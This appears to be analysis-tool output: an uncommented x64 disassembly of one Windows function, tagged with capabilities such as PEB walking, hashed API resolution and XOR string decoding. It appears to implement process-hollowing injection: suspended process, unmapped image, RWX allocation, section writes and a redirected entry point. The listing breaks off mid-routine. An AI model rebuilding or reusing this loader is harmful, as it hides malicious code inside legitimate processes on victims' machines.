Function at 0x7ff77f2f03f0
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x218]
sub rsp, 0x2e0
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
mov rax, qword [0x7ff77f37b080]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
mov rbx, r8
mov qword [rbp - 0x78], rbx
mov qword [rsp + 0x70], rdx
mov r15, rcx
mov qword [rsp + 0x78], rcx
mov qword [rbp - 0x20], rdx
mov qword [rbp - 0x18], rbx
xor r13d, r13d
movups xmm0, xmmword [0x7ff77f36fc28]
movups xmmword [rbp + 0x60], xmm0
mov eax, dword [0x7ff77f36fc38]
mov dword [rbp + 0x70], eax
movzx eax, byte [0x7ff77f36fc3c]
mov byte [rbp + 0x74], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2f0509
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2f0509
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0x41b96df0
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2f0504
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2f04d0
cmp r10d, 0xa4db873c
je 0x7ff77f2f0511
test r11d, r11d
jne 0x7ff77f2f04b0
mov rax, qword [rax]
jmp 0x7ff77f2f0480
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r10d, dword [rcx + rax*4]
add r10, rbx
mov r8d, r13d
mov eax, 5
lea ecx, [rax + 0x1a]
mov r12d, dword [0x7ff77f37b090]
cmp r12d, 2
jl 0x7ff77f2f068b
movdqa xmm5, xmmword [0x7ff77f36fcf0]
movdqa xmm4, xmmword [0x7ff77f36fdc0]
movd xmm6, eax
movdqa xmm7, xmmword [0x7ff77f36fd30]
movd xmm8, ecx
movdqa xmm0, xmmword [0x7ff77f36fd60]
movdqa xmmword [rbp - 0x50], xmm0
lea rcx, [rbp + 0x60]
mov edx, dword [rbp - 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff77f36fd40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff77f36fd40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x7ff77f2f0580
cmp r8d, 0x15
jge 0x7ff77f2f06d3
movsxd rax, r8d
lea r9, [rbp + 0x60]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x7ff77f2f06a0
lea rdx, [rbp + 0x60]
mov rcx, qword [0x7ff77f48f390]
call r10
mov r13, rax
movsxd rcx, dword [r15 + 0x3c]
mov qword [rsp + 0x68], rcx
mov eax, dword [rcx + r15 + 0x50]
mov dword [rsp + 0x60], eax
mov eax, dword [rcx + r15 + 0x54]
mov dword [rsp + 0x54], eax
mov eax, dword [rcx + r15 + 0x28]
mov dword [rsp + 0x58], eax
movzx eax, word [rcx + r15 + 6]
mov word [rsp + 0x50], ax
movzx eax, word [rcx + r15 + 0x14]
mov word [rsp + 0x52], ax
mov rcx, qword [rcx + r15 + 0x30]
mov qword [rbp - 0x40], rcx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], rax
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2f07f9
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2f07f9
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0xc18309eb
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2f07f4
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2f07c0
cmp r10d, 0xbc88823
je 0x7ff77f2f0801
test r11d, r11d
jne 0x7ff77f2f07a0
mov rax, qword [rax]
jmp 0x7ff77f2f0770
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov edx, dword [rcx + rax*4]
add rdx, rbx
mov ecx, 0x4d0
call rdx
mov r15, rax
mov qword [rbp - 0x80], rax
mov r8, qword [rbp - 0x78]
mov rdx, qword [r8 + 0x10]
test rdx, rdx
je 0x7ff77f2f093d
movabs rcx, 0x7fffffffffffffff
sub rcx, rdx
cmp rcx, 1
jb 0x7ff77f2f17ee
mov rax, r8
cmp qword [r8 + 0x18], 0x10
jb 0x7ff77f2f085d
mov rax, qword [r8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 1
lea r9, [0x7ff77f3672a8]
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.7ff77f2f1a20
nop
lea r9, [rbp - 0x70]
mov rbx, qword [rbp - 0x70]
mov rsi, qword [rbp - 0x58]
cmp rsi, 0x10
cmovae r9, rbx
mov r10, qword [rsp + 0x70]
mov r14, qword [r10 + 0x10]
mov rcx, qword [r10 + 0x18]
mov rax, rcx
sub rax, r14
mov rdi, qword [rbp - 0x60]
cmp rdi, rax
ja 0x7ff77f2f08e8
lea rax, [rdi + r14]
mov qword [r10 + 0x10], rax
mov r15, r10
cmp rcx, 0x10
jb 0x7ff77f2f08ca
mov r15, qword [r10]
lea rcx, [r15 + r14]
mov r8, rdi
mov rdx, r9
call sub.VCRUNTIME140.dll_memcpy_1
lea rax, [rdi + r15]
mov byte [rax + r14], 0
mov r15, qword [rbp - 0x80]
jmp 0x7ff77f2f0903
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rdx, rdi
mov rcx, r10
call fcn.7ff77f2f1890
mov rsi, qword [rbp - 0x58]
mov rbx, qword [rbp - 0x70]
cmp rsi, 0x10
jb 0x7ff77f2f093d
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x7ff77f2f0935
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff77f2f0935
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.7ff77f355420
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2f09d9
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2f09d9
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0xd3191c97
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2f09d4
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2f09a0
cmp r10d, 0x9c11b5ac
je 0x7ff77f2f09e1
test r11d, r11d
jne 0x7ff77f2f0980
mov rax, qword [rax]
jmp 0x7ff77f2f0950
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
lea rdx, [rbp + 0x90]
mov ecx, 0x104
call r8
mov dword [r15 + 0x30], 0x10001b
movups xmm0, xmmword [0x7ff77f36fc68]
movups xmmword [rbp - 0x70], xmm0
mov eax, dword [0x7ff77f36fc78]
mov dword [rbp - 0x60], eax
mov rax, qword [rsp + 0x70]
mov r15, rax
cmp qword [rax + 0x18], 0x10
jb 0x7ff77f2f0a38
mov r15, qword [rax]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2f0ad9
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2f0ad9
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0xf577fd00
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2f0ad4
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2f0aa0
cmp r10d, 0xe3c8b8c8
je 0x7ff77f2f0ae1
test r11d, r11d
jne 0x7ff77f2f0a80
mov rax, qword [rax]
jmp 0x7ff77f2f0a50
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r10d, dword [rcx + rax*4]
add r10, rbx
xor r11d, r11d
mov r8d, r11d
cmp r12d, 2
jl 0x7ff77f2f0c5b
movdqa xmm5, xmmword [0x7ff77f36fcf0]
movdqa xmm4, xmmword [0x7ff77f36fdc0]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x7ff77f36fd30]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x7ff77f36fd60]
movdqa xmmword [rbp - 0x50], xmm0
lea rcx, [rbp - 0x70]
mov edx, dword [rbp - 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff77f36fd40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff77f36fd40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x7ff77f2f0b50
cmp r8d, 0x14
jge 0x7ff77f2f0ca3
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x7ff77f2f0c70
lea rax, [rbp - 0x38]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r11
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, r15
xor ecx, ecx
call r10
mov rdx, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x38]
call r13
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2f0d89
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2f0d89
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0x881e1387
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2f0d84
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2f0d50
cmp r10d, 0x9d7fd08e
je 0x7ff77f2f0d91
test r11d, r11d
jne 0x7ff77f2f0d30
mov rax, qword [rax]
jmp 0x7ff77f2f0d00
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r10d, dword [rcx + rax*4]
add r10, rbx
movsxd r8, dword [rsp + 0x60]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x38]
call r10
mov r11, qword [0x7ff77f48f3e0]
test r11, r11
jne 0x7ff77f2f0e5b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov rbx, r10
mov r8, qword [r10 + 0x60]
movzx eax, word [r10 + 0x58]
shr rax, 1
lea r11, [r8 + rax*2]
mov r9d, 0x1fbaab61
cmp r8, r11
je 0x7ff77f2f0e42
nop dword [rax + rax]
movsx eax, byte [r8]
mov ecx, eax
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
add r8, 2
cmp r8, r11
jne 0x7ff77f2f0e10
cmp r9d, 0xdf492a0f
je 0x7ff77f2f0ec6
mov r10, qword [r10]
cmp r10, rbx
je 0x7ff77f2f0e51
cmp qword [r10 + 0x30], 0
jne 0x7ff77f2f0df0
xor r11d, r11d
mov qword [0x7ff77f48f3e0], r11
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
xor r13d, r13d
mov r10d, r13d
mov esi, dword [rdi + r11 + 0x20]
mov ebx, r10d
lea rax, [rsi + rbx*4]
mov r8d, dword [rax + r11]
add r8, r11
mov r9d, 0x92b78ed3
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x7ff77f2f0ec1
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x7ff77f2f0e91
cmp r9d, 0xc2076314
je 0x7ff77f2f0ecc
inc r10d
jmp 0x7ff77f2f0e72
mov r11, qword [r10 + 0x30]
jmp 0x7ff77f2f0e54
mov ecx, dword [rdi + r11 + 0x1c]
add rcx, r11
mov eax, dword [rdi + r11 + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
movsxd r9, dword [rsp + 0x54]
mov qword [rsp + 0x20], r13
mov r12, qword [rsp + 0x78]
mov r8, r12
mov rdx, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x38]
call r10
movzx ecx, word [rsp + 0x50]
cmp r13w, cx
jge 0x7ff77f2f127c
movsx r15, word [rsp + 0x52]
add r15, 0x18
add r15, qword [rsp + 0x68]
add r15, r12
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], rcx
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2f0fe8
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2f0fe8
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x51696d43
movzx ecx, byte [r9]
inc r9
test cl, cl
je 0x7ff77f2f0fe3
nop
movsx edx, cl
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
movzx ecx, byte [r9]
lea r9, [r9 + 1]
test cl, cl
jne 0x7ff77f2f0fb0
cmp r10d, 0xd7c098e6
je 0x7ff77f2f0ff0
test r11d, r11d
jne 0x7ff77f2f0f90
mov rax, qword [rax]
jmp 0x7ff77f2f0f60
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r9d, dword [rcx + rax*4]
add r9, rbx
mov r8d, 0x28
mov rdx, r15
lea rcx, [rbp + 0x60]
call r9
mov eax, dword [rbp + 0x6c]
mov dword [rsp + 0x54], eax
movsxd r15, dword [rbp + 0x70]
movsxd rbx, dword [rbp + 0x74]
mov rcx, r15
call fcn.7ff77f355454
mov r13, rax
add r12, rbx
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov rbx, qword [rcx + 0x30]
movsxd rdx, dword [rbx + 0x3c]
mov r14d, dword [rdx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2f10d9
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2f10d9
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rax, [rsi + r11*4]
mov r9d, dword [rax + rbx]
add r9, rbx
mov r10d, 0x1fcfb1af
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2f10d4
movsx eax, r8b
sub r8b, 0x41
mov edx, eax
or edx, 0x20
cmp r8b, 0x19
cmova edx, eax
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2f10a0
cmp r10d, 0xa689fd1a
je 0x7ff77f2f10e1
test r11d, r11d
jne 0x7ff77f2f1080
mov rcx, qword [rcx]
jmp 0x7ff77f2f1050
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r9d, dword [rcx + rax*4]
add r9, rbx
mov r14, r15
mov r8, r15
mov rdx, r12
mov rcx, r13
call r9
mov r11, qword [0x7ff77f48f3c0]
test r11, r11
jne 0x7ff77f2f11ab
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov rbx, r10
nop dword [rax]
nop word [rax + rax]
mov r8, qword [r10 + 0x60]
movzx eax, word [r10 + 0x58]
shr rax, 1
lea r11, [r8 + rax*2]
mov r9d, 0x4f596be7
cmp r8, r11
je 0x7ff77f2f1192
nop dword [rax + rax]
movsx eax, byte [r8]
mov ecx, eax
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
add r8, 2
cmp r8, r11
jne 0x7ff77f2f1160
cmp r9d, 0xe53abf65
je 0x7ff77f2f1216
mov r10, qword [r10]
cmp r10, rbx
je 0x7ff77f2f11a1
cmp qword [r10 + 0x30], 0
jne 0x7ff77f2f1140
xor r11d, r11d
mov qword [0x7ff77f48f3c0], r11
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
xor r15d, r15d
mov r10d, r15d
mov esi, dword [rdi + r11 + 0x20]
mov ebx, r10d
lea rax, [rsi + rbx*4]
mov r8d, dword [rax + r11]
add r8, r11
mov r9d, 0x4c59672e
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x7ff77f2f1211
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x7ff77f2f11e1
cmp r9d, 0xb2999b11
je 0x7ff77f2f121c
inc r10d
jmp 0x7ff77f2f11c2
mov r11, qword [r10 + 0x30]
jmp 0x7ff77f2f11a4
mov ecx, dword [rdi + r11 + 0x1c]
add rcx, r11
mov eax, dword [rdi + r11 + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
movsxd rdx, dword [rsp + 0x54]
add rdx, qword [rbp - 0x40]
mov qword [rsp + 0x20], r15
mov r9, r14
mov r8, r13
mov rcx, qword [rbp - 0x38]
call r10
mov rcx, r13
call fcn.7ff77f355420
mov r15, qword [rsp + 0x60]
add r15, 0x28
mov qword [rsp + 0x60], r15
sub qword [rsp + 0x68], 1
mov r12, qword [rsp + 0x78]
jne 0x7ff77f2f0f30
xor r13d, r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2f1319
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2f1319
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x98054c24
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2f1314
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2f12e0
cmp r10d, 0xbef874e3
je 0x7ff77f2f1321
test r11d, r11d
jne 0x7ff77f2f12c0
mov rax, qword [rax]
jmp 0x7ff77f2f1290
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov r15, qword [rbp - 0x80]
mov rdx, r15
mov rcx, qword [rbp - 0x30]
call r8
mov r14, qword [r15 + 0x88]
mov r11, qword [0x7ff77f48f3e8]
test r11, r11
jne 0x7ff77f2f13eb
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov rbx, r10
nop word [rax + rax]
mov r8, qword [r10 + 0x60]
movzx eax, word [r10 + 0x58]
shr rax, 1
lea r11, [r8 + rax*2]
mov r9d, 0xe6ce2d0e
cmp r8, r11
je 0x7ff77f2f13d2
nop dword [rax + rax]
movsx eax, byte [r8]
mov ecx, eax
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
add r8, 2
cmp r8, r11
jne 0x7ff77f2f13a0
cmp r9d, 0x3a730150
je 0x7ff77f2f1455
mov r10, qword [r10]
cmp r10, rbx
je 0x7ff77f2f13e1
cmp qword [r10 + 0x30], 0
jne 0x7ff77f2f1380
mov r11, r13
mov qword [0x7ff77f48f3e8], r11
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
mov r10d, r13d
mov esi, dword [rdi + r11 + 0x20]
nop
mov ebx, r10d
lea rax, [rsi + rbx*4]
mov r8d, dword [rax + r11]
add r8, r11
mov r9d, 0xe7ce2ea1
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x7ff77f2f1450
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x7ff77f2f1420
cmp r9d, 0x3ca6bd0e
je 0x7ff77f2f145b
inc r10d
jmp 0x7ff77f2f1400
mov r11, qword [r10 + 0x30]
jmp 0x7ff77f2f13e4
mov ecx, dword [rdi + r11 + 0x1c]
add rcx, r11
mov eax, dword [rdi + r11 + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rdx, [r14 + 0x10]
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rbp - 0x40]
mov rcx, qword [rbp - 0x38]
call r10
movsxd rax, dword [rsp + 0x58]
add rax, qword [rbp - 0x40]
mov qword [r15 + 0x80], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2f1549
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2f1549
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
